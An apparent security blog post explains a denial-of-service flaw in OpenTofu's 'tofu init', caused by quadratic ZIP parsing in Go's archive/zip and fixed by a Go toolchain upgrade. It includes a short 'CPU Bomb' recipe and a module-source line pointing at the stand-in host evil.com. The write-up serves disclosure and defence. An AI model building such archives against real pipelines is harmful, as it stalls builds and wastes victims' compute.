Feb 15, 2026·4 min read·5 visits
A vulnerability in Go's `archive/zip` package allows malicious ZIP files to trigger 100% CPU usage during extraction. OpenTofu, which uses this package for module management, is vulnerable during `tofu init`. Fixed in v1.11.4 via a Go toolchain upgrade.
OpenTofu, the open-source alternative to Terraform, recently patched a Denial of Service vulnerability inherited directly from the Go standard library. The flaw lies in how the `archive/zip` package handles Central Directory headers, specifically regarding file name indexing. By pointing OpenTofu to a malicious module source containing a specially crafted ZIP file, an attacker can trigger a quadratic ($O(n^2)$) CPU exhaustion loop, causing `tofu init` to hang indefinitely and burn through resources.
We all know the ritual. You clone a repo, you sip your coffee, and you type tofu init. You expect the providers to download, the modules to extract, and the backend to lock. It’s the "hello world" of Infrastructure as Code.
But what if that command never finished? What if your CPU fan started screaming like a jet engine, your CI/CD runner timed out after 60 minutes, and your terminal just sat there, blinking cursor mocking your existence? That is the essence of GHSA-R92C-9C7F-3PJ8.
This isn't a flashy Remote Code Execution where we pop a shell and steal your AWS keys. This is a good old-fashioned resource exhaustion attack, targeting the very tool you rely on to manage your resources. It turns your build pipeline into a brick, all because the Go standard library forgot that $O(n^2)$ algorithms are bad for parsing untrusted input.
The root cause here isn't in OpenTofu's logic per se; it's in the bedrock beneath it: Golang's archive/zip package. Before Go version 1.25.6, the standard library used a naive approach when parsing the Central Directory of a ZIP file.
The Central Directory is the map at the end of a ZIP file that tells the unzipper where files are located. When archive/zip read these headers, it performed a file name indexing operation. The implementation used an algorithm that scaled quadratically—meaning as the number of entries ($n$) increased, the time to process them increased by $n^2$.
In computer science terms, this is a "super-linear" complexity flaw. If you have 10 files, $10^2$ is 100 operations. Fine. If you have 100,000 files in a malicious module, $100,000^2$ is... well, let's just say your CPU will be busy until the heat death of the universe. The parser spends all its time comparing filenames against previous entries, consuming 100% of a core without actually decompressing anything useful.
Since this is a supply-chain issue in the Go toolchain, the "fix" in OpenTofu looks deceptively simple. The OpenTofu maintainers didn't rewrite the unzipper; they just swapped out the engine block.
Here is the diff from the critical commit f5d5cdf16615ea3c298e058b062951adb02805f3 in go.mod:
module github.com/opentofu/opentofu
-go 1.25.5
+go 1.25.6That tiny integer increment represents the upgrade to Go 1.25.6, which includes the fix for CVE-2025-61728. Inside the Go codebase, the archive/zip package was patched to use a hash-based lookup or a linear scan with safeguards, ensuring that looking up file headers no longer requires iterating through the entire list of already-seen files for every single new entry.
To weaponize this, an attacker doesn't need a massive file (like the classic "42.zip" decompression bomb that expands to petabytes). They just need a ZIP with many entries.
Here is the recipe for a "CPU Bomb" targeting this vulnerability:
a, b, c... or randomly generated strings. The content size of these files can be 0 bytes.<source> = "git::https://evil.com/bad-module.zip".When the victim runs tofu init, OpenTofu fetches the ZIP. It passes the blob to Go's archive/zip. The library starts reading the Central Directory. The CPU usage spikes. The process hangs. The developer assumes their internet is slow and goes for a walk. The CI runner eventually hits its timeout limit, costing the company money for 60 minutes of wasted compute.
Why should you care about a DoS? "Just restart the process," you say. In a modern DevOps environment, DoS is a financial weapon.
CI/CD Pipeline Exhaustion: If an attacker can sneak a malicious dependency into your tree, every pull request, every merge, and every deploy will hang. If you are paying for ephemeral build runners by the minute, this burns budget rapidly.
Operational Paralysis: If you rely on tofu init to fetch modules for emergency infrastructure patches, and that process is blocked by a bad upstream dependency, you are dead in the water. You cannot deploy fixes. You cannot scale up. You are locked out of your own infrastructure management plane until you identify and remove the poisonous module.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenTofu OpenTofu | < 1.11.4 | 1.11.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-407 |
| Attack Vector | Network (Malicious Module Source) |
| Complexity | O(n^2) Quadratic |
| Underlying CVE | CVE-2025-61728 |
| Impact | Denial of Service (CPU Exhaustion) |
| Fix Version | v1.11.4 |
The software uses an algorithm that has a complexity of order n^2 (or higher) where n is the size of the input, allowing an attacker to cause a denial of service (DoS) by providing a large input.